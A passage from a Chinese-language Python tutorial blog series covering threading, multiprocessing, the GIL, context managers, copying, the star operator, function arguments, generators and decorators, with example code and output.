        value = q.get()  # 阻塞知道有可用项

        # 做一些处理...
        with lock:
            # 使用锁阻止其他打印
            print(f"in {current_thread().name} got {value}")
        # ...

        # 对弈每一个 get(),随后对 task_done() 的调用告诉队列该项的处理已完成。
        # 如果完成所有任务,则 q.join() 可以取消阻塞
        q.task_done()

if __name__ == '__main__':
    q = Queue()
    num_threads = 10
    lock = Lock()

    for i in range(num_threads):
        t = Thread(name=f"Thread{i+1}", target=worker, args=(q, lock))
        t.daemon = True  # 当主线程死亡时死亡
        t.start()
    
    # 使用项填充队列
    for x in range(20):
        q.put(x)

    q.join()  # 阻塞直到队列中的所有项被获取并处理

    print('main done')
    in Thread1 got 0
    in Thread2 got 1
    in Thread2 got 11
    in Thread2 got 12
    in Thread2 got 13
    in Thread2 got 14
    in Thread2 got 15
    in Thread2 got 16
    in Thread2 got 17
    in Thread2 got 18
    in Thread2 got 19
    in Thread8 got 5
    in Thread4 got 9
    in Thread1 got 10
    in Thread5 got 2
    in Thread6 got 3
    in Thread9 got 6
    in Thread7 got 4
    in Thread10 got 7
    in Thread3 got 8
    main done

守护线程

在以上示例中,使用了守护线程。 守护线程是后台线程,它们在主程序结束时自动消失。 这就是为什么可以退出 worker 方法内的无限循环的原因。 没有守护进程,我们将不得不使用诸如 threading.Event 之类的信号机制来停止 worker。 但请注意守护进程:它们会突然停止,并且它们的资源(例如打开的文件或数据库事务)可能无法正确释放/完成。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

15. 多线程和多进程 — Python 进阶

我们有两种常用的方法来并行运行代码(实现多任务并加快程序速度):通过线程或通过多进程。

进程

进程是程序的一个实例,例如Python解释器。它们彼此独立,并且不共享相同的内存。

关键事实:

  • 一个新进程独立于第一个进程启动
  • 充分利用多个CPU和内核
  • 单独的内存空间
  • 进程之间不共享内存
  • 每个进程一个GIL(全局解释器锁),即避免了GIL限制
  • 非常适合CPU密集型处理
  • 子进程可中断/可终止
  • 启动进程慢于启动线程
  • 更大的内存占用
  • IPC(进程间通信)更加复杂

线程

线程是可以调度执行的进程(也称为“轻量级进程”)中的实体。一个进程可以产生多个线程。主要区别在于,进程中的所有线程共享同一内存。

关键事实:

  • 可以在一个进程中产生多个线程
  • 内存在所有线程之间共享
  • 启动线程比启动进程要快
  • 适用于 I/O 密集型任务
  • 轻量
  • 内存占用少
  • 所有线程使用一个GIL,即线程受GIL限制
  • 由于GIL,多线程处理对CPU密集的任务无效
  • 不可中断/杀死->注意内存泄漏
  • 出现竞态情况的可能性增加

Python中的线程

使用 threading 模块。

注意:由于受CPU限制,以下示例通常不会从多个线程中受益。 它应显示如何使用线程的示例。

from threading import Thread

def square_numbers():
    for i in range(1000):
        result = i * i

        
if __name__ == "__main__":        
    threads = []
    num_threads = 10

    # 创建线程,并给每一个线程分配函数
    for i in range(num_threads):
        thread = Thread(target=square_numbers)
        threads.append(thread)

    # 启动所有线程
    for thread in threads:
        thread.start()

    # 等待所有线程结束
    # 阻塞主线程直到所有线程结束
    for thread in threads:
        thread.join()

线程何时有用

尽管使用了GIL,但在程序必须与速度较慢的设备(例如硬盘驱动器或网络连接)进行通讯时,它仍可用于 I/O 密集型任务。 通过线程化,程序可以花费时间等待这些设备并同时智能地执行其他任务。

示例:从多个站点下载网站信息。 为每个站点使用一个线程。

多进程

使用 multiprocessing 模块。 语法与上面非常相似。

from multiprocessing import Process
import os

def square_numbers():
    for i in range(1000):
        result = i * i

if __name__ == "__main__":
    processes = []
    num_processes = os.cpu_count()

    # 创建进程,并给每一个线程分配函数
    for i in range(num_processes):
        process = Process(target=square_numbers)
        processes.append(process)

    # 启动所有进程
    for process in processes:
        process.start()

    # 等待所有进程结束
    # 阻塞主线程直到所有进程结束
    for process in processes:
        process.join()

什么时候多进程有用

这对于必须对大量数据执行大量CPU操作且需要大量计算时间的CPU密集型任务很有用。通过多进程,你可以将数据分成相等的部分,然后在不同的CPU上进行并行计算。

示例:计算从1到1000000的所有数字的平方数。将数字分成相等大小的部分,并对每个子集使用一个过程。

GIL-全局解释器锁

这是一个互斥锁(或锁),仅允许一个线程控制Python解释器。这意味着即使在多线程体系结构中,GIL一次也只允许一个线程执行。

为什么需要它?

之所以需要它,是因为CPython(Python的引用实现)的内存管理不是线程安全的。 Python使用引用计数进行内存管理。这意味着在Python中创建的对象具有引用计数变量,该变量跟踪指向该对象的引用数。当此计数达到零时,将释放对象占用的内存。问题在于该引用计数变量需要保护,以防止两个线程同时增大或减小其值的竞争条件。如果发生这种情况,则可能导致从未释放的内存泄漏,或者在仍然存在对该对象的引用的情况下错误地释放了内存。

如何避免GIL

GIL在Python社区中引起很大争议。避免GIL的主要方法是使用多线程而不是线程。另一个(但是很不舒服)的解决方案是避免CPython实现,而使用 JythonIronPython 之类的自由线程Python实现。第三种选择是将应用程序的部分移到二进制扩展模块中,即使用Python作为第三方库的包装器(例如在C / C ++中)。这是 numpyscipy 采取的路径。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

21. 上下文管理器 — Python 进阶

上下文管理器是资源管理的绝佳工具。 它们使你可以在需要时精确地分配和释放资源。 一个著名的例子是 with open() 语句:

with open('notes.txt', 'w') as f:
    f.write('some todo...')

这将打开一个文件,并确保在程序执行离开with语句的上下文之后自动将其关闭。 它还处理异常,并确保即使在发生异常的情况下也能正确关闭文件。 在内部,上面的代码翻译成这样的东西:

f = open('notes.txt', 'w')
try:
    f.write('some todo...')
finally:
    f.close()

我们可以看到,使用上下文管理器和 with 语句更短,更简洁。

上下文管理器示例

  • 打开和关闭文件
  • 打开和关闭数据库连接
  • 获取和释放锁:
from threading import Lock
lock = Lock()

# 容易出错:
lock.acquire()
# 做一些操作
# 锁应始终释放!
lock.release()

# 更好:
with lock:
    # 做一些操作

将上下文管理器实现为类

为了支持我们自己的类的 with 语句,我们必须实现 __enter____exit__ 方法。 当执行进入 with 语句的上下文时,Python调用 __enter__。 在这里,应该获取资源并将其返回。 当执行再次离开上下文时,将调用 __exit__ 并释放资源。

class ManagedFile:
    def __init__(self, filename):
        print('init', filename)
        self.filename = filename

    def __enter__(self):
        print('enter')
        self.file = open(self.filename, 'w')
        return self.file

    def __exit__(self, exc_type, exc_value, exc_traceback):
        if self.file:
            self.file.close()
        print('exit')

with ManagedFile('notes.txt') as f:
    print('doing stuff...')
    f.write('some todo...')
    init notes.txt
    enter
    doing stuff...
    exit

处理异常

如果发生异常,Python将类型,值和回溯传递给 __exit__ 方法。 它可以在这里处理异常。 如果 __exit__ 方法返回的不是 True,则 with 语句将引发异常。

class ManagedFile:
    def __init__(self, filename):
        print('init', filename)
        self.filename = filename

    def __enter__(self):
        print('enter')
        self.file = open(self.filename, 'w')
        return self.file

    def __exit__(self, exc_type, exc_value, exc_traceback):
        if self.file:
            self.file.close()
        print('exc:', exc_type, exc_value)
        print('exit')

# 没有异常
with ManagedFile('notes.txt') as f:
    print('doing stuff...')
    f.write('some todo...')
print('continuing...')

print()

# 异常触发,但是文件仍然能被关闭
with ManagedFile('notes2.txt') as f:
    print('doing stuff...')
    f.write('some todo...')
    f.do_something()
print('continuing...')
    init notes.txt
    enter
    doing stuff...
    exc: None None
    exit
    continuing...

    init notes2.txt
    enter
    doing stuff...
    exc: <class 'AttributeError'> '_io.TextIOWrapper' object has no attribute 'do_something'
    exit

    ---------------------------------------------------------------------------
    AttributeError                            Traceback (most recent call last)
    <ipython-input-24-ed1604efb530> in <module>
         27     print('doing stuff...')
         28     f.write('some todo...')
    ---> 29     f.do_something()
         30 print('continuing...')
    AttributeError: '_io.TextIOWrapper' object has no attribute 'do_something'

我们可以在 __exit__ 方法中处理异常并返回 True

class ManagedFile:
    def __init__(self, filename):
        print('init', filename)
        self.filename = filename

    def __enter__(self):
        print('enter')
        self.file = open(self.filename, 'w')
        return self.file

    def __exit__(self, exc_type, exc_value, exc_traceback):
        if self.file:
            self.file.close()
        if exc_type is not None:
            print('Exception has been handled')
        print('exit')
        return True

with ManagedFile('notes2.txt') as f:
    print('doing stuff...')
    f.write('some todo...')
    f.do_something()
print('continuing...')
    init notes2.txt
    enter
    doing stuff...
    Exception has been handled
    exit
    continuing...

将上下文管理器实现为生成器

除了编写类,我们还可以编写一个生成器函数,并使用 contextlib.contextmanager 装饰器对其进行装饰。 然后,我们也可以使用 with 语句调用该函数。 对于这种方法,函数必须在 try 语句中 yield 资源,并且释放资源的 __exit__ 方法的所有内容现在都在相应的 finally 语句内。

from contextlib import contextmanager

@contextmanager
def open_managed_file(filename):
    f = open(filename, 'w')
    try:
        yield f
    finally:
        f.close()

with open_managed_file('notes.txt') as f:
    f.write('some todo...')

生成器首先获取资源。 然后,它暂时挂起其自己的执行并 产生 资源,以便调用者可以使用它。 当调用者离开 with 上下文时,生成器继续执行并释放 finally 语句中的资源。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

20. 浅拷贝和深拷贝 — Python 进阶

在Python中,赋值语句(obj_b = obj_a)不会创建真实副本。 它仅使用相同的引用创建一个新变量。 因此,当你想制作可变对象(列表,字典)的实际副本并且想要在不影响原始对象的情况下修改副本时,必须格外小心。

对于“真实”副本,我们可以使用 copy 模块。 但是,对于复合/嵌套对象(例如嵌套列表或字典)和自定义对象,浅拷贝深拷贝之间存在重要区别:

  • 浅拷贝: 仅深一层。 它创建一个新的集合对象,并使用对嵌套对象的引用来填充它。 这意味着修改副本中嵌套对象的深度超过一层会影响原始对象。
  • 深拷贝: 完整的独立克隆。 它创建一个新的集合对象,然后递归地使用在原始对象中找到的嵌套对象的副本填充它。

赋值操作

这只会创建具有相同引用的新变量。 修改其中一个会影响另一个。

list_a = [1, 2, 3, 4, 5]
list_b = list_a

list_a[0] = -10
print(list_a)
print(list_b)
    [-10, 2, 3, 4, 5]
    [-10, 2, 3, 4, 5]

浅拷贝

一层深。 在级别1上进行修改不会影响其他列表。 使用 copy.copy() 或特定于对象的复制函数/复制构造函数。

import copy
list_a = [1, 2, 3, 4, 5]
list_b = copy.copy(list_a)

# 不会影响其他列表
list_b[0] = -10
print(list_a)
print(list_b)
    [1, 2, 3, 4, 5]
    [-10, 2, 3, 4, 5]

但是对于嵌套对象,在2级或更高级别上进行修改确实会影响其他对象!

import copy
list_a = [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]
list_b = copy.copy(list_a)

# 会影响其他列表!
list_a[0][0]= -10
print(list_a)
print(list_b)
    [[-10, 2, 3, 4, 5], [6, 7, 8, 9, 10]]
    [[-10, 2, 3, 4, 5], [6, 7, 8, 9, 10]]

注意:你还可以使用以下内容来创建浅拷贝:

# 浅拷贝
list_b = list(list_a)
list_b = list_a[:]
list_b = list_a.copy()

深拷贝

完全独立的克隆。 使用 copy.deepcopy()

import copy
list_a = [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]
list_b = copy.deepcopy(list_a)

# 不影响其他
list_a[0][0]= -10
print(list_a)
print(list_b)
    [[-10, 2, 3, 4, 5], [6, 7, 8, 9, 10]]
    [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]

自定义对象

你可以使用 copy 模块来获取自定义对象的浅拷贝或深拷贝。

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age
                
# 只复制引用
p1 = Person('Alex', 27)
p2 = p1
p2.age = 28
print(p1.age)
print(p2.age)
    28
    28
# 浅拷贝
import copy
p1 = Person('Alex', 27)
p2 = copy.copy(p1)
p2.age = 28
print(p1.age)
print(p2.age)
    27
    28

现在让我们创建一个嵌套对象:

class Company:
    def __init__(self, boss, employee):
        self. boss = boss
        self.employee = employee

# 浅拷贝会影响嵌套对象
boss = Person('Jane', 55)
employee = Person('Joe', 28)
company = Company(boss, employee)

company_clone = copy.copy(company)
company_clone.boss.age = 56
print(company.boss.age)
print(company_clone.boss.age)

print()
# 深拷贝不会影响嵌套对象
boss = Person('Jane', 55)
employee = Person('Joe', 28)
company = Company(boss, employee)
company_clone = copy.deepcopy(company)
company_clone.boss.age = 56
print(company.boss.age)
print(company_clone.boss.age)
    56
    56

    55
    56

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

19. 星号操作符 — Python 进阶

星号( * )可用于Python中的不同情况:

  • 乘法和幂运算
  • 创建具有重复元素的列表,元组或字符串
  • *args**kwargs 和仅关键字参数
  • 拆包列表/元组/字典的函数参数
  • 拆包容器
  • 将可迭代对象合并到列表中/合并字典

乘法和幂运算

# 乘法
result = 7 * 5
print(result)

# 幂运算
result = 2 ** 4
print(result)
    35
    16

创建具有重复元素的列表,元组或字符串

# list
zeros = [0] * 10
onetwos = [1, 2] * 5
print(zeros)
print(onetwos)

# tuple
zeros = (0,) * 10
onetwos = (1, 2) * 5
print(zeros)
print(onetwos)

# string
A_string = "A" * 10
AB_string = "AB" * 5
print(A_string)
print(AB_string)
    [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    [1, 2, 1, 2, 1, 2, 1, 2, 1, 2]
    (0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    (1, 2, 1, 2, 1, 2, 1, 2, 1, 2)
    AAAAAAAAAA
    ABABABABAB

*args**kwargs 和仅关键字参数

  • 对可变长度参数使用 *args
  • 对长度可变的关键字参数使用 **kwargs
  • 使用 *,后跟更多函数参数以强制使用仅关键字的参数
def my_function(*args, **kwargs):
    for arg in args:
        print(arg)
    for key in kwargs:
        print(key, kwargs[key])
        
my_function("Hey", 3, [0, 1, 2], name="Alex", age=8)

# '*' 或 '* identifier' 之后的参数是仅关键字参数,只能使用关键字参数传递。
def my_function2(name, *, age):
    print(name)
    print(age)

# my_function2("Michael", 5) --> 这会引发 TypeError 错误
my_function2("Michael", age=5)
    Hey
    3
    [0, 1, 2]
    name Alex
    age 8
    Michael
    5

拆包函数参数

  • 如果长度与参数匹配,则列表/元组/集合/字符串可以用 * 拆成函数参数。
  • 如果长度和键与参数匹配,则字典可以用两个 ** 拆包。
def foo(a, b, c):
    print(a, b, c)

# 长度必需匹配
my_list = [1, 2, 3]
foo(*my_list)

my_string = "ABC"
foo(*my_string)

# 长度和键必需匹配
my_dict = {'a': 4, 'b': 5, 'c': 6}
foo(**my_dict)
    1 2 3
    A B C
    4 5 6

拆包容器

将列表,元组或集合的元素拆包为单个和多个剩余元素。 请注意,即使被拆包的容器是元组或集合,也将多个元素组合在一个列表中。

numbers = (1, 2, 3, 4, 5, 6, 7, 8)

*beginning, last = numbers
print(beginning)
print(last)

print()

first, *end = numbers
print(first)
print(end)

print()
first, *middle, last = numbers
print(first)
print(middle)
print(last)
    [1, 2, 3, 4, 5, 6, 7]
    8

    1
    [2, 3, 4, 5, 6, 7, 8]

    1
    [2, 3, 4, 5, 6, 7]
    8

将可迭代对象合并到列表中/合并字典

由于PEP 448(https://www.python.org/dev/peps/pep-0448/),从Python 3.5开始,这是可能的。

# 将可迭代对象合并到列表中
my_tuple = (1, 2, 3)
my_set = {4, 5, 6}
my_list = [*my_tuple, *my_set]
print(my_list)

# 用字典拆包合并两个字典
dict_a = {'one': 1, 'two': 2}
dict_b = {'three': 3, 'four': 4}
dict_c = {**dict_a, **dict_b}
print(dict_c)
    [1, 2, 3, 4, 5, 6]
    {'one': 1, 'two': 2, 'three': 3, 'four': 4}

但是,请注意以下合并解决方案。 如果字典中有任何非字符串键,则它将不起作用:https://stackoverflow.com/questions/38987/how-to-merge-two-dictionaries-in-a-single-expression/39858#39858

dict_a = {'one': 1, 'two': 2}
dict_b = {3: 3, 'four': 4}
dict_c = dict(dict_a, **dict_b)
print(dict_c)

# 以下可行:
# dict_c = {**dict_a, **dict_b}
---------------------------------------------------------------------------
    TypeError                                 Traceback (most recent call last)
    <ipython-input-52-2660fb90a60f> in <module>
          1 dict_a = {'one': 1, 'two': 2}
          2 dict_b = {3: 3, 'four': 4}
    ----> 3 dict_c = dict(dict_a, **dict_b)
          4 print(dict_c)
          5 
    TypeError: keywords must be strings

推荐进一步阅读:

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

18. 函数参数 — Python 进阶

在本文中,我们将详细讨论函数形参(parameters)和函数实参(arguments)。 我们将学习:

  • 形参和实参之间的区别
  • 位置和关键字参数
  • 默认参数
  • 变长参数( *args**kwargs
  • 容器拆包成函数参数
  • 局部与全局参数
  • 参数传递(按值还是按引用?)

形参和实参之间的区别

  • 形数是定义函数时在括号内定义或使用的变量
  • 实参是调用函数时为这些参数传递的值
def print_name(name): # name 是形参
    print(name)

print_name('Alex') # 'Alex' 是实参

位置和关键字参数

我们可以将参数作为位置参数或关键字参数传递。 关键字参数的一些好处可能是:

  • 我们可以通过名称来调用参数,以使其更清楚地表示其含义
  • 我们可以通过重新排列参数的方式来使参数最易读
def foo(a, b, c):
    print(a, b, c)
    
# 位置参数
foo(1, 2, 3)

# 关键字参数
foo(a=1, b=2, c=3)
foo(c=3, b=2, a=1) # 注意此处顺序不重要

# 混合使用
foo(1, b=2, c=3)

# 以下不允许
# foo(1, b=2, 3) # 位置参数在关键字参数之后
# foo(1, b=2, a=3) # 'a' 有多个值
    1 2 3
    1 2 3
    1 2 3
    1 2 3

默认参数

函数可以具有带有预定义值的默认参数。 可以忽略此参数,然后将默认值传递给函数,或者可以将参数与其他值一起使用。 注意,必须将默认参数定义为函数中的最后一个参数。

# 默认参数
def foo(a, b, c, d=4):
    print(a, b, c, d)

foo(1, 2, 3, 4)
foo(1, b=2, c=3, d=100)

# 不允许:默认参数必需在最后
# def foo(a, b=2, c, d=4):
#     print(a, b, c, d)
    1 2 3 4
    1 2 3 100

变长参数( *args**kwargs

  • 如果用一个星号( * )标记参数,则可以将任意数量的位置参数传递给函数(通常称为 *args
  • 如果用两个星号( ** )标记参数,则可以将任意数量的关键字参数传递给该函数(通常称为 **kwargs )。
def foo(a, b, *args, **kwargs):
    print(a, b)
    for arg in args:
        print(arg)
    for kwarg in kwargs:
        print(kwarg, kwargs[kwarg])

# 3, 4, 5 合并入 args
# six and seven 合并入 kwargs
foo(1, 2, 3, 4, 5, six=6, seven=7)
print()

# 也可以省略 args 或 kwargs
foo(1, 2, three=3)
    1 2
    3
    4
    5
    six 6
    seven 7

    1 2
    three 3

强制关键字参数

有时你想要仅使用关键字的参数。 你可以执行以下操作:

  • 如果在函数参数列表中输入 *,,则此后的所有参数都必须作为关键字参数传递。
  • 变长参数后面的参数必须是关键字参数。
def foo(a, b, *, c, d):
    print(a, b, c, d)

foo(1, 2, c=3, d=4)
# 不允许:
# foo(1, 2, 3, 4)

# 变长参数后面的参数必须是关键字参数
def foo(*args, last):
    for arg in args:
        print(arg)
    print(last)

foo(8, 9, 10, last=50)
    1 2 3 4
    8
    9
    10
    50

拆包成参数

  • 如果容器的长度与函数参数的数量匹配,则列表或元组可以用一个星号( * )拆包为参数。
  • 字典可以拆包为带有两个星号( ** )的参数,其长度和键与函数参数匹配。
def foo(a, b, c):
    print(a, b, c)

# list/tuple 拆包,长度必需匹配
my_list = [4, 5, 6] # or tuple
foo(*my_list)

# dict 拆包,键和长度必需匹配
my_dict = {'a': 1, 'b': 2, 'c': 3}
foo(**my_dict)

# my_dict = {'a': 1, 'b': 2, 'd': 3} # 不可能,因为关键字错误
    4 5 6
    1 2 3

局部变量与全局变量

可以在函数体内访问全局变量,但是要对其进行修改,我们首先必须声明 global var_name 才能更改全局变量。

def foo1():
    x = number # 全局变量只能在这里访问
    print('number in function:', x)

number = 0
foo1()

# 修改全局变量
def foo2():
    global number # 现在可以访问和修改全局变量
    number = 3

print('number before foo2(): ', number)
foo2() # 修改全局变量
print('number after foo2(): ', number)
    number in function: 0
    number before foo2():  0
    number after foo2():  3

如果我们不写 global var_name 并给与全局变量同名的变量赋一个新值,这将在函数内创建一个局部变量。 全局变量保持不变。

number = 0

def foo3():
    number = 3 # 这是局部变量

print('number before foo3(): ', number)
foo3() # 不会修改全局变量
print('number after foo3(): ', number)
    number before foo3():  0
    number after foo3():  0

参数传递

Python使用一种称为“对象调用”或“对象引用调用”的机制。必须考虑以下规则:

  • 传入的参数实际上是对对象的引用(但引用是按值传递)
  • 可变和不可变数据类型之间的差异

这意味着:

  1. 可变对象(例如列表,字典)可以在方法中进行更改。但是,如果在方法中重新绑定引用,则外部引用仍将指向原始对象。
  2. 不能在方法中更改不可变的对象(例如int,string)。但是包含在可变对象中的不可变对象可以在方法中重新分配。
# 不可变对象 -> 不变
def foo(x):
    x = 5 # x += 5 也无效,因为x是不可变的,必须创建一个新变量

var = 10
print('var before foo():', var)
foo(var)
print('var after foo():', var)
    var before foo(): 10
    var after foo(): 10
# 可变对象 -> 可变
def foo(a_list):
    a_list.append(4)
    
my_list = [1, 2, 3]
print('my_list before foo():', my_list)
foo(my_list)
print('my_list after foo():', my_list)
    my_list before foo(): [1, 2, 3]
    my_list after foo(): [1, 2, 3, 4]
# 不可变对象包含在可变对象内 -> 可变
def foo(a_list):
    a_list[0] = -100
    a_list[2] = "Paul"
    
my_list = [1, 2, "Max"]
print('my_list before foo():', my_list)
foo(my_list)
print('my_list after foo():', my_list)
# 重新绑定可变引用 -> 不变
def foo(a_list):
    a_list = [50, 60, 70] # a_list 是函数内新的局部变量
    a_list.append(50)
    
my_list = [1, 2, 3]
print('my_list before foo():', my_list)
foo(my_list)
print('my_list after foo():', my_list)
    my_list before foo(): [1, 2, 3]
    my_list after foo(): [1, 2, 3]

对于可变类型,请小心使用 +== 操作。 第一个操作对传递的参数有影响,而后者则没有:

# 重新绑定引用的另一个例子
def foo(a_list):
    a_list += [4, 5] # 这会改变外部变量
    
def bar(a_list):
    a_list = a_list + [4, 5] # 在会重新绑定引用到本地变量

my_list = [1, 2, 3]
print('my_list before foo():', my_list)
foo(my_list)
print('my_list after foo():', my_list)

my_list = [1, 2, 3]
print('my_list before bar():', my_list)
bar(my_list)
print('my_list after bar():', my_list)
    my_list before foo(): [1, 2, 3]
    my_list after foo(): [1, 2, 3, 4, 5]
    my_list before bar(): [1, 2, 3]
    my_list after bar(): [1, 2, 3]

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

14. 生成器 — Python 进阶

生成器是可以在运行中暂停和恢复的函数,返回可以迭代的对象。 与列表不同,它们是懒惰的,因此一次仅在被询问时才产生一项。 因此,在处理大型数据集时,它们的内存效率更高。

生成器的定义类似于普通函数,但是使用 yield 语句而不是 return

def my_generator():
    yield 1
    yield 2
    yield 3

执行生成器函数

调用该函数不会执行它,而是函数返回一个生成器对象,该对象用于控制执行。 生成器对象在调用 next() 时执行。 首次调用 next() 时,执行从函数的开头开始,一直持续到第一个 yield 语句,在该语句中返回语句右边的值。 随后对 next() 的调用从 yield 语句继续(并循环),直到达到另一个 yield。 如果由于条件而未调用 yield 或到达末尾,则会引发 StopIteration 异常:

def countdown(num):
    print('Starting')
    while num > 0:
        yield num
        num -= 1

# 这不会打印 'Starting'
cd = countdown(3)

# 这会打印 'Starting' 以及第一个值
print(next(cd))

# 会打印第二个值
print(next(cd))
print(next(cd))

# 这会引发 StopIteration
print(next(cd))
    Starting
    3
    2
    1
    ---------------------------------------------------------------------------
    StopIteration                             Traceback (most recent call last)
    <ipython-input-1-3941498e0bf0> in <module>
         16 
         17 # this will raise a StopIteration
    ---> 18 print(next(cd))

    StopIteration:
# 你可以使用 for 循环来遍历一个生成器对象
cd = countdown(3)
for x in cd:
    print(x)
    Starting
    3
    2
    1
# 你可以将其用于接受可迭代对象作为输入的函数
cd = countdown(3)
sum_cd = sum(cd)
print(sum_cd)

cd = countdown(3)
sorted_cd = sorted(cd)
print(sorted_cd)
    Starting
    6
    Starting
    [1, 2, 3]

最大的优点:迭代器节省内存!

由于这些值是延迟生成的,即仅在需要时才生成,因此可以节省大量内存,尤其是在处理大数据时。 此外,我们不必等到所有元素生成后再开始使用它们。

# 如果没有生成器,则必须将完整序列存储在此处的列表中
def firstn(n):
    num, nums = 0, []
    while num < n:
        nums.append(num)
        num += 1
    return nums

sum_of_first_n = sum(firstn(1000000))
print(sum_of_first_n)
import sys
print(sys.getsizeof(firstn(1000000)), "bytes")
    499999500000
    8697464 bytes
# 使用生成器,不需要额外的序列来存储数字
def firstn(n):
    num = 0
    while num < n:
        yield num
        num += 1

sum_of_first_n = sum(firstn(1000000))
print(sum_of_first_n)
import sys
print(sys.getsizeof(firstn(1000000)), "bytes")
    499999500000
    120 bytes

另一个例子:斐波那契数列

def fibonacci(limit):
    a, b = 0, 1 # 前两个数
    while a < limit:
        yield a
        a, b = b, a + b

fib = fibonacci(30)
# 生成器对象可以被转为列表(这儿只是用来打印)
print(list(fib))
    [0, 1, 1, 2, 3, 5, 8, 13, 21]

生成器表达式

就像列表推导一样,生成器可以用相同的语法编写,除了用括号代替方括号。 注意不要混淆它们,因为由于函数调用的开销,生成器表达式通常比列表理解要慢(https://stackoverflow.com/questions/11964130/list-comprehension-vs-generator-expressions-weird-timeit-results/11964478#11964478)。

# 生成器表达式
mygenerator = (i for i in range(1000) if i % 2 == 0)
print(sys.getsizeof(mygenerator), "bytes")

# 列表推导式
mylist = [i for i in range(1000) if i % 2 == 0]
print(sys.getsizeof(mylist), "bytes")
    120 bytes
    4272 bytes

生成器背后的概念

这个类将生成器实现为可迭代的对象。 它必须实现 __iter____next__ 使其可迭代,跟踪当前状态(在这种情况下为当前数字),并注意 StopIteration。 它可以用来理解生成器背后的概念。 但是,有很多样板代码,其逻辑并不像使用 yield 关键字的简单函数那样清晰。

class firstn:
    def __init__(self, n):
        self.n = n
        self.num = 0
        
    def __iter__(self):
        return self
    
    def __next__(self):
        if self.num < self.n:
            cur = self.num
            self.num += 1
            return cur
        else:
            raise StopIteration()
             
firstn_object = firstn(1000000)
print(sum(firstn_object))
    499999500000

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

13. 装饰器 — Python 进阶

装饰器是一个函数,它接受另一个函数并扩展该函数的行为而无需显式修改它。 这是一个非常强大的工具,可以将新功能添加到现有函数中。

装饰器有2种:

  • 函数装饰器
  • 类装饰器

函数用 @ 符号修饰:

@my_decorator
def my_function():
    pass

函数装饰器

为了理解装饰器模式,我们必须了解Python中的函数是一级对象,这意味着像其他任何对象一样,它们可以在另一个函数内定义,作为参数传递给另一个函数或从其他函数返回 。 装饰器是一个将另一个函数作为参数的函数,将其行为包装在内部函数中,并返回包装的函数。 结果,修饰的函数便具有了扩展的功能!

# 装饰器是一个将另一个函数作为参数的函数,将其行为包装在内部函数中,并返回包装的函数。
def start_end_decorator(func):
    
    def wrapper():
        print('Start')
        func()
        print('End')
    return wrapper

def print_name():
    print('Alex')
    
print_name()

print()

# 现在通过将其作为参数传递给装饰器函数并将其赋值给自身来包装该函数->我们的函数已扩展了行为!
print_name = start_end_decorator(print_name)
print_name()
    Alex

    Start
    Alex
    End

装饰器语法

除了包装函数并将其分配给自身之外,我们还可以通过用 @ 装饰函数来实现相同的目的。

@start_end_decorator
def print_name():
    print('Alex')
    
print_name()
    Start
    Alex
    End

关于函数参数

如果我们的函数具有输入参数,并且我们尝试使用上面的装饰器将其包装,则它将引发 TypeError,因为我们在包装器内调用函数时也必须使用此参数。 但是,我们可以通过在内部函数中使用 *args**kwargs 来解决此问题:

def start_end_decorator_2(func):
    
    def wrapper(*args, **kwargs):
        print('Start')
        func(*args, **kwargs)
        print('End')
    return wrapper

@start_end_decorator_2
def add_5(x):
    return x + 5

result = add_5(10)
print(result)
    Start
    End
    None

返回值

请注意,在上面的示例中,我们没有取回结果,因此,下一步,我们还必须从内部函数返回值:

def start_end_decorator_3(func):
    
    def wrapper(*args, **kwargs):
        print('Start')
        result = func(*args, **kwargs)
        print('End')
        return result
    return wrapper

@start_end_decorator_3
def add_5(x):
    return x + 5

result = add_5(10)
print(result)
    Start
    End
    15

函数标识又如何变化呢?

如果我们看一下装饰函数的名称,并使用内置的 help 函数对其进行检查,我们会注意到Python认为我们的函数现在是装饰器函数的包装内部函数。

print(add_5.__name__)
help(add_5)
    wrapper
    Help on function wrapper in module __main__:

    wrapper(*args, **kwargs)

要解决此问题,请使用 functools.wraps 装饰器,该装饰器将保留有关原始函数的信息。 这有助于进行自省,即对象在运行时了解其自身属性的能力:

import functools
def start_end_decorator_4(func):
    
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        print('Start')
        result = func(*args, **kwargs)
        print('End')
        return result
    return wrapper

@start_end_decorator_4
def add_5(x):
    return x + 5
result = add_5(10)
print(result)
print(add_5.__name__)
help(add_5)
    Start
    End
    15
    add_5
    Help on function add_5 in module __main__:

    add_5(x)

装饰器的最终模板

现在,我们已经有了所有部分,用于任何装饰器的模板如下所示:

import functools

def my_decorator(func):
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        # Do something before
        result = func(*args, **kwargs)
        # Do something after
        return result
    return wrapper

装饰器函数参数

请注意, functools.wraps 是一个装饰器,它自己接受一个参数。 我们可以将其视为2个内部函数,即内部函数里的内部函数。 为了更清楚地说明这一点,我们来看另一个示例:以数字作为输入的 repeat 装饰器。 在此函数内,我们有实际的装饰函数,该函数包装函数并在另一个内部函数内扩展其行为。 在这种情况下,它将输入函数重复给定的次数。

def repeat(num_times):
    def decorator_repeat(func):
        @functools.wraps(func)
        def wrapper(*args, **kwargs):
            for _ in range(num_times):
                result = func(*args, **kwargs)
            return result
        return wrapper
    return decorator_repeat

@repeat(num_times=3)
def greet(name):
    print(f"Hello {name}")
    
greet('Alex')
    Hello Alex
    Hello Alex
    Hello Alex

嵌套装饰器

我们可以通过将多个装饰器彼此堆叠来将其应用到一个函数。 装饰器将按照其列出的顺序执行。

# 装饰器函数,它输出有关包装函数的调试信息
def debug(func):
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        args_repr = [repr(a) for a in args]
        kwargs_repr = [f"{k}={v!r}" for k, v in kwargs.items()]
